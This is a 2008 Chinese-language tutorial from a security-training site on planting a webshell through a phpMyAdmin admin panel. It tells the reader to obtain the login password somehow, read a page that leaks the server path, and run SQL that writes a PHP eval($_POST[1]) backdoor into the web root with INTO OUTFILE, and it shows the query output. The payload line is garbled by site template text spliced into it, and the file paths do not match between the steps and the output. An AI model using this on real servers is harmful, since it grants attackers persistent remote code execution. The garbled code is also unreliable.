PhpMyAdmin 后台拿Webshell
|
| 更新时间:2008-9-22 0:34:01 | 责任编辑:池天 |
|
|
1.如何拿到登陆密码，自己想办法。
2.访问 : http://url/phpmyadmin/libraries/select_lang.lib.php 得到物理路径.
3.选择一个Database.运行以下语句.
----start code---
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES(’<?php eval(
PhpMyAdmin 后台拿Webshell_安全中国_全球最大网络安全培训门户
|
PhpMyAdmin 后台拿Webshell
|
| 更新时间:2008-9-22 0:34:01 | 责任编辑:池天 |
|
|
| $Content$ | | |
|
|
POST[1]);?>’);
select cmd from a into outfile ’F:/Program Files/Apache Group/Apache2/htdocs/phpMyAdmin/d.php/d.php’;
Drop TABLE IF EXISTS a;
----end code---
4.如果没什么意外.对应网站得到webshell
您运行的 SQL 语句已经成功运行了。
SQL 查询:
CREATE TABLE a(
cmd text NOT NULL
);# MySQL 返回的查询结果为空(即零行)。
INSERT INTO a( cmd )
VALUES (
’<?php eval(
PhpMyAdmin 后台拿Webshell_安全中国_全球最大网络安全培训门户
|
PhpMyAdmin 后台拿Webshell
|
| 更新时间:2008-9-22 0:34:01 | 责任编辑:池天 |
|
|
| $Content$ | | |
|
|
POST[1]);?>’
);# 影响列数： 1
SELECT cmd
FROM a
INTO OUTFILE ’F:/Program Files/Apache Group/Apache2/htdocs/phpMyAdmin/d.php’;# 影响列数： 1
DROP TABLE IF EXISTS a;# MySQL 返回的查询结果为空(即零行)。
| | |
安全中国首页 > 文章中心 > 技巧知识